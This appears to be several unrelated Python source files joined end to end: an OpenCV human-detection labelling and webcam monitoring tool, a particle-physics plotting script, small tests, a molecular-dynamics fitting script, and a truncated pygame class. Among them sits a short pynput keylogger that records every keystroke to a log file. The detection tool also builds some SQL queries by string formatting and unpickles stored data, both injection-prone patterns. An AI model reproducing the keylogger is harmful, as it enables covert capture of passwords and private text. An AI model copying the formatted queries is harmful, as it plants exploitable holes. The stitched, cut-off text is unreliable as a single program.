# -*- coding: utf-8 -*-
"""
Created on Tue Jan  9 08:12:25 2018

@author: Andrew
"""

import sqlite3

import numpy as np
#Even though the library is referenced as cv2,
import cv2 as cv

import tkinter as tk
from tkinter import filedialog
from tkinter import messagebox
from PIL import Image
from PIL import ImageTk

from functools import partial

import os
import datetime
import pickle
import hashlib

import random
import time
from sklearn import svm
# http://tkinter.unpythonic.net/wiki/VerticalScrolledFrame

class VerticalScrolledFrame(tk.Frame):
    """A pure Tkinter scrollable frame that actually works!
    * Use the 'interior' attribute to place widgets inside the scrollable frame
    * Construct and pack/place/grid normally
    * This frame only allows vertical scrolling

    """
    def __init__(self, parent, *args, **kw):
        tk.Frame.__init__(self, parent, *args, **kw)

        # create a canvas object and a vertical scrollbar for scrolling it
        vscrollbar = tk.Scrollbar(self, orient=tk.VERTICAL)
        vscrollbar.pack(fill=tk.Y, side=tk.RIGHT, expand=tk.FALSE)
        canvas = tk.Canvas(self, bd=0, highlightthickness=0,
                        yscrollcommand=vscrollbar.set)
        canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=tk.TRUE)
        vscrollbar.config(command=canvas.yview)

        # reset the view
        canvas.xview_moveto(0)
        canvas.yview_moveto(0)

        # create a frame inside the canvas which will be scrolled with it
        self.interior = interior = tk.Frame(canvas)
        interior_id = canvas.create_window(0, 0, window=interior,
                                           anchor=tk.NW)

        # track changes to the canvas and frame width and sync them,
        # also updating the scrollbar
        def _configure_interior(event):
            # update the scrollbars to match the size of the inner frame
            size = (interior.winfo_reqwidth(), interior.winfo_reqheight())
            canvas.config(scrollregion="0 0 %s %s" % size)
            if interior.winfo_reqwidth() != canvas.winfo_width():
                # update the canvas's width to fit the inner frame
                canvas.config(width=interior.winfo_reqwidth())
        interior.bind('<Configure>', _configure_interior)

        def _configure_canvas(event):
            if interior.winfo_reqwidth() != canvas.winfo_width():
                # update the inner frame's width to fill the canvas
                canvas.itemconfigure(interior_id, width=canvas.winfo_width())
        canvas.bind('<Configure>', _configure_canvas)

class Application:

    class ImageData:
        def __init__(self, ID, image, timestamp, contains_human):
            '''
            Default constructor, should not be used outside the ImageData class.
            '''
            self.ID = ID
            self.image = image
            self.timestamp = timestamp
            self.contains_human = contains_human

        @classmethod
        def from_file(cls, path, contains_human=0):
            '''
            Given a specified file path, instantiates an ImageData object.

            By default, the image does not contain a human.  All other fields
            are derived from the image file itself.

            This function is intended to create an ImageData object for an image
            file.
            '''
            #read image using OpenCV
            image     = cv.imread(path)
            timestamp = cls.__get_timestamp(path)
            ID        = cls.__compute_hash(image)

            return cls(ID, image, timestamp, contains_human)

        @classmethod
        def from_database(cls, ID, serialized_image, timestamp, contains_human):
            '''
            Given the four fields for an ImageData object, instantiates
            and returns an object.

            This function is intended to create an ImageData object for an image
            retrieved from the Image Database
            '''
            return cls(ID, cls.__deserialize(serialized_image), timestamp, contains_human)

        def serialize(self):
            return pickle.dumps(self.image)
        @staticmethod
        def __deserialize(data):
            return pickle.loads(data)
        @staticmethod
        def __get_timestamp(path):
            time = os.path.getmtime(path)
            return datetime.datetime.fromtimestamp(time)
        def __compute_hash(image):
            img_hasher      = hashlib.sha1()
            img_hasher.update(image)
            return img_hasher.hexdigest()
        def update(self, contains_human):
            self.contains_human = contains_human

    class Database:
        def __init__(self):
            self.connection = None
            self.cursor = None
        def is_open(self):
            return self.connection is not None
        def get_file_timestamp(self, file_path):
            time = os.path.getmtime(file_path)
            return datetime.datetime.fromtimestamp(time)

        def open_database(self, name):
            self.connection = sqlite3.connect(name)
            self.cursor = self.connection.cursor()
            self.cursor.execute('''CREATE TABLE IF NOT EXISTS images(
                    id TEXT PRIMARY KEY,
                    img BLOB NOT NULL,
                    time_stamp TIMESTAMP NOT NULL,
                    contains_human BOOLEAN NOT NULL)''')
        def close_database(self):
            if self.connection is None:
                return
            self.connection.close()
            self.connection = None
            self.cursor = None
        def add_image_from_path(self, path, contains_human=0):
            self.add_image(Application.ImageData.from_file(path, contains_human))
        def add_image(self, data):
            try:
                self.cursor.execute('''INSERT INTO images
                                    (id, img, time_stamp, contains_human)
                                    VALUES (?, ?, ?, ?);''',
                              [data.ID,
                               data.serialize(),
                               data.timestamp,
                               data.contains_human])
                self.connection.commit()
            except sqlite3.IntegrityError:
                self.update_image(data)
        def update_image(self, data):
            self.cursor.execute('''UPDATE images
                              SET contains_human = ?
                              WHERE id = ?;''',
                            (data.contains_human, data.ID))
            self.connection.commit()
        def delete_image(self, data):
            print("Deleting image of ID {}".format(data.ID))
            self.cursor.execute('''DELETE from
                                images
                                WHERE
                                id = '{}';'''.format(data.ID))
            self.connection.commit()
        def query_database(self, contains_human = None):
            conditions = []
            if contains_human is not None:
                conditions.append("(contains_human = {})".format(contains_human))
            query = '''SELECT *
            FROM images

            '''
            if len(conditions) > 0:
                query += 'WHERE '
                for c in conditions[:-1]:
                    query += c
                    query += ' AND '
                query += conditions[-1]
            query += ';'
            print('QUERY:')
            print(query)
            self.cursor.execute(query)
            images = []
            for i in self.cursor:
                images.append(Application.ImageData.from_database(i[0], i[1], i[2], i[3]))
            return images
        def dump_all_images(self):
            self.cursor.execute('''SELECT img FROM images;''')
            images = []
            for i in self.cursor:
                image  = Application.ImageData.from_database(i[0], i[1], i[2], i[3])
                images.append(image.image)
            for i in range(1, len(images) + 1):
                cv.imwrite('OUTPUT/IMGDUMP - {}.png'.format(i), images[i-1])

    class AdminInterface:
        '''
        Provides a Graphical User Interface for the System Administrator.

        The System Administrator is not necessarily a priviliged user, but
        rather a user with a different role from the System Monitor.  This
        user could just as appropriately be referred to as "System Maintenance"
        '''
        def __init__(self):
            self.model = None

            '''
            Initializes the "Admin" Panel.
            '''
            def on_close(this):
                this.root.destroy()
                if this.database is not None:
                    this.database.close_database()
            self.database = Application.Database()
            self.root  = tk.Tk()
            self.toplevel = tk.LabelFrame(master=self.root,
                                     text  = 'Main Panel',
                                     padx  = 5,
                                     pady  = 5)
            self.toplevel.pack(side = tk.TOP)
            info_frame = tk.LabelFrame(master = self.toplevel,
                                     text  = 'Information')
            info_frame.pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)
            tk.Label(master = info_frame,
                     text = 'Mrs. Drone - Administration System').pack(side = tk.TOP, expand = 1, fill = tk.X)
            tk.Label(master = info_frame,
                     text = 'Version: Beta 0.2').pack(side = tk.TOP, expand = 1, fill = tk.X)
            self.database_label = tk.StringVar(master = info_frame,
                                               value = 'N/A')
            tk.Label(master = info_frame,
                     textvariable = self.database_label).pack(side = tk.TOP, expand = 1, fill = tk.X)
            button_panel = tk.LabelFrame(master = self.toplevel,
                                     text  = 'Controls',
                                     padx  = 5,
                                     pady  = 5)
            button_panel.pack(side = tk.LEFT, expand = 1, fill = tk.X)
            button_args = [('New Database', self.__new_database_dialog),
                           ('Open Database', self.__open_database_dialog),
                           ('Add Images', self.__add_images_dialog),
                           ('Query Database', self.__query_database_window),
                           ('Train Model', self.__build_model),
                           ('Exit', partial(on_close, self))]
            self.top_level_commands = []
            for b in button_args:
                self.top_level_commands.append(tk.Button(master = button_panel,
                          text   = b[0],
                          command= b[1]))
                self.top_level_commands[-1].pack(side = tk.TOP, expand = 1, fill = tk.X)
            self.action_frame = None
            self.__init_action_frame()
            self.image_frame = None
            self.__init_image_frame()

            tk.mainloop()
        #Did not use a semaphore here because this is more about showing the user
        #which commands are available, rather than controlling timing with the system.
        def __lock_top_level_commands(self):
            for c in self.top_level_commands:
                c.config(state=tk.DISABLED)
        def __unlock_top_level_commands(self):
            for c in self.top_level_commands:
                c.config(state=tk.NORMAL)
        def __init_action_frame(self, text = "None"):
            if self.action_frame is not None:
                self.action_frame.destroy()
            self.action_frame = tk.LabelFrame(master=self.toplevel,
                                              text  = "Current Action - {}".format(text),
                                              padx  = 5,
                                              pady  = 5)
            self.action_frame.pack(side = tk.RIGHT, expand = 1, fill = tk.BOTH)
        def __init_image_frame(self, text = "None"):
            if self.image_frame is not None:
                self.image_frame.destroy()
            self.image_frame = tk.LabelFrame(master=self.root,
                                              text  = "Image Manipulation Frame".format(text),
                                              padx  = 5,
                                              pady  = 5)
            self.image_frame.pack(expand = 1, fill = tk.BOTH)
            self.image_view = VerticalScrolledFrame(parent=self.image_frame)
            self.image_view.pack(expand = 1, fill = tk.BOTH)
        def __new_database_dialog(self):
            options = {}
            options['defaultextension'] = '.sqlite3'
            options['filetypes'] = [('SQLite3 Database', '.sqlite3')]
            options['initialfile']      = 'new.sqlite3'
            options['title']            = 'New Database'
            path = filedialog.asksaveasfilename(**options)
            if len(path) > 0 and not os.path.exists(path):
                self.database_label.set(path)
                return self.database.open_database(path)
            return None
        def __open_database_dialog(self):
            options = {}
            options['defaultextension'] = '.sqlite3'
            options['filetypes'] = [('SQLite3 Database', '.sqlite3')]
            options['title']            = 'Open Database'
            path = filedialog.askopenfilename(**options)
            if len(path) > 0:
                self.database_label.set(path)
                return self.database.open_database(path)
            return None
        def __add_images_dialog(self):
            if not self.database.is_open():
                return
            self.__init_action_frame(text = "Add Images to the Database")
            master = self.action_frame
            def on_close():
                self.__init_action_frame()
                self.__unlock_top_level_commands()
            def select_images(mode):
                if len(mode.curselection()) == 0:
                    return
                mode = mode.curselection()[0]
                options = {}
                options['defaultextension'] = '.sqlite3'
                options['title']            = 'Open Database'
                options['filetypes']        = [('FORMAT', '.jpg')]
                paths = filedialog.askopenfilenames(**options)
                on_close()
                print(mode)
                total = len(paths) + 1
                i = 1
                if mode == 0:
                    for p in paths:
                        print('Adding image {} of {}.'.format(i, total))
                        i += 1
                        img = Application.ImageData.from_file(path=p, contains_human=1)
                        self.__update_database(img, 1)
                elif mode == 1:
                    for p in paths:
                        print('Adding image {} of {}.'.format(i, total))
                        i += 1
                        img = Application.ImageData.from_file(path=p, contains_human=0)
                        self.__update_database(img, 0)
                else:
                    for p in paths:
                        img = Application.ImageData.from_file(path=p)
                        self.__edit_image_window(img, master=master)

            mode = tk.Listbox(master = master,
                              selectmode=tk.SINGLE)
            mode.insert(0,
                        'Images contain a human',
                        'Images do not contain humans',
                        'Ask whether each image contains a human')
            mode.config(width=0)
            mode.pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)
            tk.Button(master = master,
                      text = 'Select images',
                      command = partial(select_images,
                                        mode)).pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)
            tk.Button(master = master,
                      text = 'Cancel',
                      command = on_close).pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)
            self.__lock_top_level_commands()
        def __update_database(self, data, contains_human):
            data.update(contains_human)
            self.database.cursor.execute('''SELECT * FROM images WHERE id = "{}"'''.format(data.ID))
            if self.database.cursor.fetchone() is not None:
                self.database.update_image(data)
            else:
                self.database.add_image(data)
        def __delete_image(self, data):
            self.database.delete_image(data)
        def __query_database(self, contains_human_widget=None):
            if contains_human_widget is not None:
                contains_human_options = {0 : 1,
                                      1 : 0,
                                      2 : None}
                human = contains_human_options[contains_human_widget.curselection()[0]]
            else:
                human = None
            result = self.database.query_database(
                    contains_human = human)
            self.__init_image_frame()
            self.query = {}
            def delete_callback(f, image):
                self.__delete_image(image)
                f.destroy()
            def update_callback(image, contains_human):
                image.contains_human = contains_human
                self.__update_database(image, contains_human)
                if image.contains_human:
                    self.query[image.ID]['contains_human_var'].set('Contains a human.')
                else:
                    self.query[image.ID]['contains_human_var'].set('Does not contain a human.')
            for image in result:
                f = tk.Frame(master = self.image_view.interior)
                f.data = image
                f.pack(side = tk.TOP)
                self.query[image.ID] = {'frame' : f,
                          'timestamp'           : image.timestamp,
                          'contains_human_var'  : tk.StringVar(master=f)}
                if image.contains_human:
                    self.query[image.ID]['contains_human_var'].set('Contains a human.')
                else:
                    self.query[image.ID]['contains_human_var'].set('Does not contain a human.')
                b,g,r = cv.split(image.image)
                tk_image = ImageTk.PhotoImage(Image.fromarray(cv.merge((r,g,b))))
                label = tk.Label(master = f, image = tk_image)
                label.image = tk_image
                label.pack(side = tk.LEFT)
                controls = tk.Frame(master = f)
                controls.pack(side=tk.RIGHT, expand=1, fill=tk.BOTH)
                tk.Label(master = controls, text = 'ID - {}'.format(image.ID)).pack(side=tk.TOP)
                tk.Label(master = controls, text = 'Timestamp - {}'.format(image.timestamp)).pack(side=tk.TOP)
                tk.Label(master = controls,
                         textvariable = self.query[image.ID]['contains_human_var']).pack(side=tk.TOP)
                tk.Button(master=controls,
                          text = 'SET - Image contains a human',
                          command = partial(update_callback, f.data, 1)).pack(side = tk.TOP, expand = 1, fill = tk.X)
                tk.Button(master=controls,
                          text = 'SET - Image does not contain a human',
                          command = partial(update_callback, f.data, 0)).pack(side = tk.TOP, expand = 1, fill = tk.X)
                tk.Button(master=controls,
                          text = 'Delete',
                          command = partial(delete_callback, f, image)).pack(side = tk.TOP, expand = 1, fill = tk.X)
                tk.Button(master=controls,
                          text = 'Dismiss',
                          command = partial(f.destroy)).pack(side = tk.TOP, expand = 1, fill = tk.X)
        def __query_database_window(self):
            if not self.database.is_open():
                return
            self.__init_action_frame(text = "Query Database")
            master = self.action_frame
            def on_close():
                self.__init_action_frame()
                self.__init_image_frame()
                self.__unlock_top_level_commands()
            def select_all():
                msg = '''Warning: Do not use the Select All operation on large databases.
                Are you sure you want to proceed?
                '''
                if not messagebox.askokcancel(title = 'Warning', message = msg, icon = tk.messagebox.WARNING):
                    return
                print('getting results')
                self.__query_database()
            controls = tk.LabelFrame(master = master,
                                     text   = 'Controls',
                                     padx   = 5,
                                     pady   = 5)
            controls.pack(side = tk.TOP, expand = 1, fill = tk.X)
            contains_human_frame = tk.Frame(master = controls)
            contains_human_frame.pack(side = tk.LEFT)
            contains_human = tk.Listbox(master = controls,
                              selectmode=tk.SINGLE)
            contains_human.insert(0,
                        'Retrieve only images which contain humans.',
                        'Retrieve only images which do not contain humans.',
                        'Retrieve images regardless of whether they contain humans.')
            contains_human.config(width=0)
            contains_human.pack(side = tk.TOP)

            timestamp_frame = tk.LabelFrame(master = controls,
                                     text   = 'Image Timestamp Range',
                                     padx   = 5,
                                     pady   = 5)
            tk.Label(master = timestamp_frame,
                     text   = 'TODO - query database by timestamp range')

            tk.Button(master = controls,
                      text = "Retrieve All Images from Database",
                      command = select_all).pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)

            tk.Button(master = controls,
                      text = "Retrieve Images which meet given criteria",
                      command = partial(self.__query_database,
                                        contains_human)).pack(side = tk.LEFT, expand = 1, fill = tk.BOTH)

            tk.Button(master = controls,
                      text = 'Exit',
                      command = on_close).pack(side = tk.RIGHT, expand = 1, fill = tk.BOTH)
            self.__lock_top_level_commands()
        def __edit_image_window(self, data, master=None):
            print("Called")
            #self.edit_image_window_sem.acquire(blocking=True)
            if master is None:
                master = self.root
            def on_close():
                popup.destroy()
                self.__init_image_frame()
                #self.edit_image_window_sem.release()
            #I'm sorry to anyone who has to read the code of this function...
            #TODO - Clean up this function to remove the need for a popup window, and also
            def on_confirm():
               self. __update_database(data, result.get())
               on_close()
            popup = tk.Toplevel(master = self.root)
            m = tk.PanedWindow(master = popup)
            m.pack(fill = tk.BOTH, expand = 1)

            b,g,r = cv.split(data.image)   #Credit - Iony at https://stackoverflow.com/questions/28670461/read-an-image-with-opencv-and-display-it-with-tkinter
            tk_image    = ImageTk.PhotoImage(Image.fromarray(cv.merge((r,g,b))))
            left        = tk.Label(m, image = tk_image)
            left.image  = tk_image
            left.pack()
            m.add(left)

            right       = tk.PanedWindow(m, orient = tk.VERTICAL)
            right.pack()

            hash_frame  = tk.PanedWindow(right, orient = tk.HORIZONTAL)
            hash_frame.pack()
            hash_frame1 = tk.Label(hash_frame, text = "Image ID: ")
            hash_frame2 = tk.Label(hash_frame, text = data.ID)
            hash_frame.add(hash_frame1)
            hash_frame.add(hash_frame2)

            right.add(hash_frame)

            time_frame  = tk.PanedWindow(right, orient = tk.HORIZONTAL)
            time_frame.pack()
            time_frame1 = tk.Label(time_frame, text = "Timestamp: ")
            time_frame2 = tk.Label(time_frame, text = data.timestamp)
            time_frame.add(time_frame1)
            time_frame.add(time_frame2)

            right.add(time_frame)

            bool_frame  = tk.PanedWindow(right, orient = tk.HORIZONTAL)
            bool_frame.pack()
            bool_frame1 = tk.Label(bool_frame, text = 'Image contains a human:')
            bool_frame2 = tk.PanedWindow(bool_frame, orient = tk.VERTICAL)
            bool_frame2.pack()
            result = tk.BooleanVar(bool_frame)
            has_human = tk.Radiobutton(master   = bool_frame2,
                                       text     = "Yes",
                                       variable = result,
                                       value = 1,
                                       state    = tk.NORMAL)
            no_human  = tk.Radiobutton(master   = bool_frame2,
                                       text     = "No",
                                       variable = result,
                                       value = 0,
                                       state    = tk.NORMAL)

            bool_frame2.add(has_human)
            bool_frame2.add(no_human)

            bool_frame.add(bool_frame1)
            bool_frame.add(bool_frame2)
            right.add(bool_frame)

            confirm_button = tk.Button(master  = right,
                                       text    = 'Confirm',
                                       command = on_confirm)
            right.add(confirm_button)
            m.add(right)
        def __build_model(self):
            self.__init_action_frame(text = "Calibration of SVM")
            master = self.action_frame
            def on_close():
                self.dataset = []
                self.dataset_diagnostic = 'N/A'
                self.__init_action_frame()
                self.__unlock_top_level_commands()
            def __open_databases():
                options = {}
                options['defaultextension'] = '.sqlite3'
                options['filetypes'] = [('SQLite3 Database', '.sqlite3')]
                options['title']            = 'Open Database'
                paths = filedialog.askopenfilenames(**options)
                self.dataset = []
                for p in paths:
                    db = Application.Database()
                    db.open_database(name = p)
                    self.dataset += db.query_database()
                pos = 0
                neg = 0
                for i in self.dataset:
                    if i.contains_human:
                        pos += 1
                    else:
                        neg += 1
                self.dataset_diagnostic.set('Total Dataset - {} Positive, {} Negative.'.format(
                        pos, neg))
                self.model = Application.HD_SVM([[d.image, d.contains_human] for d in self.dataset])
            info = tk.LabelFrame(master = master,
                                text   = 'Information',
                                padx   = 5,
                                pady   = 5)
            info.pack(side = tk.RIGHT, expand = 1, fill = tk.X)
            self.dataset_diagnostic = tk.StringVar(master = info,
                         value = 'Total Dataset - 0 Positive, 0 Negative.')
            tk.Label(master = info,
                     textvariable = self.dataset_diagnostic).pack(side = tk.RIGHT, expand = 1, fill = tk.X)
            controls = tk.LabelFrame(master = master,
                                text   = 'Controls',
                                padx   = 5,
                                pady   = 5)
            controls.pack(side = tk.LEFT, expand = 1, fill = tk.X)
            tk.Button(master = controls,
                      text = 'Load Database(s)',
                      command = __open_databases).pack(side = tk.TOP, expand = 1, fill = tk.BOTH)
            tk.Button(master = controls,
                      text = 'Exit',
                      command = on_close).pack(side = tk.BOTTOM, expand = 1, fill = tk.BOTH)
            self.__lock_top_level_commands()
    class HD_SVM:
        def __init__(self, dataset, seed = 42):
            self.X = [d[0] for d in dataset]
            self.y = [d[1] for d in dataset]
            self.seed = seed
            self.SVM = svm.SVC()
            self.hog = cv.HOGDescriptor()
            self.hog.setSVMDetector(cv.HOGDescriptor_getDefaultPeopleDetector())
            false_positives = []
            false_negatives = []
            true_positives = []
            true_negatives = []
            self.hits = []
            t_start = 0
            t_end = 0
            t_diff = 0
            import matplotlib.pyplot as plt
            for i in range(len(self.X)):
                t_start = time.time()
                rectangle = self.hog.detectMultiScale(self.X[i])[0]
                #rectangle = self.hog.detectMultiScale(self.X[i], winStride=(4,4), padding=(0, 0), scale=1.1)[0]
                t_end = time.time()
                t_diff = t_end - t_start
                print('Processing took {} milliseconds for resolution {}x{}.'.format(t_diff * 1000,
                      len(self.X[i]),
                      len(self.X[i][0])))
                answer = self.y[i]
                print('Result - {}; Expected - {}'.format(len(rectangle) != 0, answer))
                if len(rectangle) == 0 and answer == 0:
                    true_negatives.append(self.X[i])
                    continue
                elif len(rectangle) == 0 and answer == 1:
                    false_negatives.append(self.X[i])
                    continue
                elif answer == 0:
                    false_positives.append(self.X[i])
                else:
                    true_positives.append(self.X[i])
                rectangle = rectangle[0]
                self.hits.append(self.X[i].copy())
                cv.rectangle(self.hits[-1],
                             (rectangle[0], rectangle[1]),
                             (rectangle[0] + rectangle[2], rectangle[1] + rectangle[3]),
                             (255, 0, 0))
            print('{} True Positives, {} True Negatives, {} False Positives, {} False Negatives.'.format(
                    len(true_positives), len(true_negatives), len(false_positives), len(false_negatives)))

    class MonitorInterface():
        def __init__(self, hits):
            cap = cv.VideoCapture(1)
            self.SVM = svm.SVC()
            self.hog = cv.HOGDescriptor()
            self.hog.setSVMDetector(cv.HOGDescriptor_getDefaultPeopleDetector())
            while(1):
                ret, frame = cap.read()
                #gray = cv.cvtColor(frame, cv.COLOR_BGR2RGB)
                cv.imshow('Live Video Feed', frame)
                if cv.waitKey(1) & 0xFF == ord('q'):
                    break
                rectangle = self.hog.detectMultiScale(frame)[0]

                if len(rectangle) != 0:
                    rectangle = rectangle[0]
                    print('HUMAN DETECTED')
                    hits.append(frame.copy())
                    cv.rectangle(hits[-1],
                                 (rectangle[0], rectangle[1]),
                                 (rectangle[0] + rectangle[2], rectangle[1] + rectangle[3]),
                                 (255, 0, 0))
                time.sleep(1)
            cap.release()
            cv.destroyAllWindows()
#x = Application.AdminInterface()
#y = Application.MonitorInterface()
def view(img):
    cv.imshow('image',img)
    cv.waitKey(0)
    cv.destroyAllWindows()

def t1():
    x = Application.AdminInterface()
def t2(hits):
    y = Application.MonitorInterface(hits)
import _thread
hits = []
def review():
    for img in hits:
        view(img)
x = _thread.start_new_thread(t2, (hits,))
#y = _thread.start_new_thread(t1, ())

'''
DEPRECATED, old main method from dbPrototype.bak

def main():
    db = open_database('blake.db')
    c = db.cursor()
    for image in os.listdir('INPUT'):
        add_img_from_path(c, 'INPUT/' + image)
        db.commit()
    db.close()

#if __name__ == '__main__': main()
'''


#!/usr/bin/env python

from collections import namedtuple
import os

import ROOT

from helperstuff import config, style
from helperstuff.CJLSTscripts import getDZHhWP, getDWHhWP, getDVBF2jetsWP
from helperstuff.discriminants import discriminant
from helperstuff.enums import analyses, Analysis, ProductionMode
from helperstuff.samples import ArbitraryCouplingsSample, ReweightingSample, Sample
from helperstuff.plotfromtree import plotfromtree

class Line(namedtuple("Line", "sample title color reweightfrom")):
    def __new__(cls, sample, title, color, reweightfrom=None):
        if reweightfrom is None: reweightfrom = sample
        if not isinstance(reweightfrom, Sample):
            assert len(config.productionsforcombine) == 1
            reweightfrom = Sample(reweightfrom, config.productionsforcombine[0])
        return super(Line, cls).__new__(cls, sample, title, color, reweightfrom)

def makeplot(productionmode, disc, disc2=None):
  analysis = Analysis("fL1Zg")
  productionmode = ProductionMode(productionmode)
  if productionmode == "ZH":
    fainame = "f_{#Lambda1Z#gamma}^{ZH}"
    mixplus = ReweightingSample(productionmode, analysis.mixprodhypothesis)
  elif productionmode == "VBF":
    fainame = "f_{#Lambda1Z#gamma}^{VBF}"
    mixplus = ReweightingSample(productionmode, analysis.mixprodhypothesis)
  elif productionmode == "ggH":
    fainame = "f_{#Lambda1Z#gamma}^{dec}"
    mixplus = ReweightingSample(productionmode, analysis.mixdecayhypothesis)

  mixminus = ArbitraryCouplingsSample(productionmode, g1=mixplus.g1, g2=-mixplus.g2, g4=-mixplus.g4, g1prime2=-mixplus.g1prime2, ghzgs1prime2=-mixplus.ghzgs1prime2, pdf="NNPDF30_lo_as_0130")

  SM = ReweightingSample(productionmode, "0+")

  lines = [
           Line(ReweightingSample(productionmode, "0+"),   "{} SM".format(productionmode), 1),
           Line(ReweightingSample(productionmode, "L1Zg"), "{} {}=1".format(productionmode, fainame), ROOT.kViolet+7, SM),
           Line(mixplus,                                   "{} {}=#plus0.5".format(productionmode, fainame), ROOT.kGreen+3, SM),
#           Line(mixminus,                                  "{} {}=#minus0.5".format(productionmode, fainame), 4, SM),
          ]
  if productionmode == "ZH":
    lines.append(
                 Line(ReweightingSample("WH", "0+"),            "WH SM", 2),
                )

  hstackname = disc
  if disc2 is not None: hstackname += "_"+disc2

  hs = {}
  hstack = ROOT.THStack(hstackname, "")
  l = ROOT.TLegend(.4, .6, .9, .9)
  l.SetBorderSize(0)
  l.SetFillStyle(0)
  c = ROOT.TCanvas()

  bins = None #use default from discriminants.py
  if disc2 is not None:
    bins = 0  #allow ROOT to pick

  for sample, title, color, reweightfrom in lines:
    h = hs[analysis,disc,disc2,sample] = plotfromtree(
      productionmode=reweightfrom.productionmode,
      hypothesis=reweightfrom.hypothesis,
      weight=sample,
      disc=disc,
      disc2=disc2,
      normalizeto1=True,
      color=color,
      bins=bins,
    )
    hstack.Add(h)
    l.AddEntry(h, title, "l")
    if disc2 is not None: break

  hstack.Draw("hist nostack")
  if disc2 is None:
    l.Draw()

  hstack.GetXaxis().SetTitle(h.GetXaxis().GetTitle())
  hstack.GetYaxis().SetTitle(h.GetYaxis().GetTitle())

  saveasdir = os.path.join(config.plotsbasedir, "TEST")
  try:
    os.makedirs(saveasdir)
  except OSError:
    pass
  if disc2 is None:
    saveasname = disc
  else:
    saveasname = "2D_{}_{}".format(disc, disc2)
  for ext in "png eps root pdf".split():
    c.SaveAs(os.path.join(saveasdir, "{}.{}".format(saveasname, ext)))

if __name__ == "__main__":
  makeplot("VBF", "D_L1Zg_VBFdecay")
  makeplot("VBF", "D_L1Zg_VBF")
  makeplot("VBF", "D_L1Zgint_VBF")
  makeplot("ZH", "D_L1Zg_HadVH")
  makeplot("ZH", "D_L1Zg_HadVHdecay")
  makeplot("ZH", "D_L1Zgint_HadVH")
  makeplot("ggH", "D_L1Zg_decay")
  makeplot("ggH", "D_L1Zgint_decay")

  makeplot("VBF", "D_L1Zg_VBF", "D_L1Zgint_VBF")
  makeplot("ZH", "D_L1Zg_HadVH", "D_L1Zgint_HadVH")
  makeplot("ggH", "D_L1Zg_decay", "D_L1Zgint_decay")
  makeplot("VBF", "D_L1Zg_VBFdecay", "D_L1Zgint_VBF")
  makeplot("ZH", "D_L1Zg_HadVHdecay", "D_L1Zgint_HadVH")

  makeplot("VBF", "D_L1Zg_VBF", "D_L1_VBF")
  makeplot("ZH", "D_L1Zg_HadVH", "D_L1_HadVH")
  makeplot("ggH", "D_L1Zg_decay", "D_L1_decay")
  makeplot("VBF", "D_L1Zg_VBFdecay", "D_L1_VBFdecay")
  makeplot("ZH", "D_L1Zg_HadVHdecay", "D_L1_HadVHdecay")

  makeplot("VBF", "D_L1Zg_VBF", "D_0hplus_VBF")
  makeplot("ZH", "D_L1Zg_HadVH", "D_0hplus_HadVH")
  makeplot("ggH", "D_L1Zg_decay", "D_0hplus_decay")
  makeplot("VBF", "D_L1Zg_VBFdecay", "D_0hplus_VBFdecay")
  makeplot("ZH", "D_L1Zg_HadVHdecay", "D_0hplus_HadVHdecay")

  makeplot("VBF", "D_L1_VBF", "D_0hplus_VBF")
  makeplot("ZH", "D_L1_HadVH", "D_0hplus_HadVH")
  makeplot("ggH", "D_L1_decay", "D_0hplus_decay")
  makeplot("VBF", "D_L1_VBFdecay", "D_0hplus_VBFdecay")
  makeplot("ZH", "D_L1_HadVHdecay", "D_0hplus_HadVHdecay")


import sys
sys.path.append('..')
from app.accounting import Accounting
import unittest

class AccountingTest(unittest.TestCase):
    accounting = {
        'id': 1,
        'date': '2019-03-02',
        'price': {'price': 120.00, 'tax_percent': 20, 'tax_free_price': 100},
        'payment': {'method': 'CHEQUE', 'cheque_number': '323'},
        'info': {'description': 'libelle', 'invoice_number': 'FDS23'}
    }

    def test_to_dict(self):
        c = Accounting(**self.accounting).to_dict()
        del c['year']
        del c['month']
        self.assertEqual(c, self.accounting)

if __name__ == '__main__':
    unittest.main()


# -*- coding: UTF-8 -*-
import sys

project_path = "/home/centos/Projects/CGMD/"
sys.path.append(project_path)
from pyMD.ibi import IBI
from pyMD import collective_structure_class as csc
from pyMD.file_parser import LmpParser
import numpy as np

def atom3d_gen():
    folder_list = [0,1,2,3,5,7,8,9]
    rand_num = np.random.randint(0, 1)
    fp = "/home/centos/ztz/model/aa/1blk_50/%d/" % (folder_list[rand_num])
    atom3d = csc.Atom3D()
    atom3d.create_from_info(fp + "struct_info.pkl", improper="ignore")
    aa = csc.AA3D()
    aa.get_mass(fp + "1blk_50.data")
    aa.renew_coordinate(fp + "1blk_50.lammpstrj", step=int(15000000))
    atom3d.renew_coordinate(aa)
    return atom3d

if __name__ == '__main__':

    ibi = IBI("20210401_lr=0.05_1blk_50_fg_ex_hard", atom3d_gen=atom3d_gen)
    ibi.iterative_fit_params(500, project_path + "data/target/1blk_50_fg_ex_hard_new/aver/",
                             restart=True, learning_rate=0.02,
                             lmp_parallel=24, num_parallel=40, improper=True)

    # iter 73 is good
    # fix error and rerun (recal target, and correct neighbor)
    # iter 169 is good


from pynput.keyboard import Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def write_file(key):
    logging.info(str(key))

try:
    with Listener(on_press=write_file) as listener:
        listener.join()
except KeyboardInterrupt as e:
    print(e)


# import sys, os
# sys.path.append(os.path.join(os.path.dirname(__file__),os.pardir,'flibia_aac/app'))

import pytest

from flibia_aac.app import create_app

@pytest.yield_fixture(scope='session')
def test_client():
    app = create_app('testing')

    client = app.test_client()

    ctx = app.app_context()
    ctx.push()

    yield client

    ctx.pop()


try:
    import os
    import pygame
    import sys
    from gui.label import Label
except ImportError as err:
    print("Couldn't load module. %s" % err)
    sys.exit(2)

class Troop:

    def __init__(self, x=0, y=0, ai=False, t=0):
        self.x, self.y = x, y  # position to draw troop
        self.health = 100  # troop's health
        self.ai = ai  # flag for specifying if troop is ai
        self.type = t  # 0 = default, 1 = medic, 2 = sniper
        if self.type == 2:
            self.health = 75
        self.default_stats()  # default all troops state
        # read in sprite image for troop
        # if ai, flip the image
        if self.ai and self.type == 0:
            self.image = pygame.transform.flip(pygame.image.load(os.path.join('assets', 'ai_commando.png')), True, False)
        elif self.ai and self.type == 1:
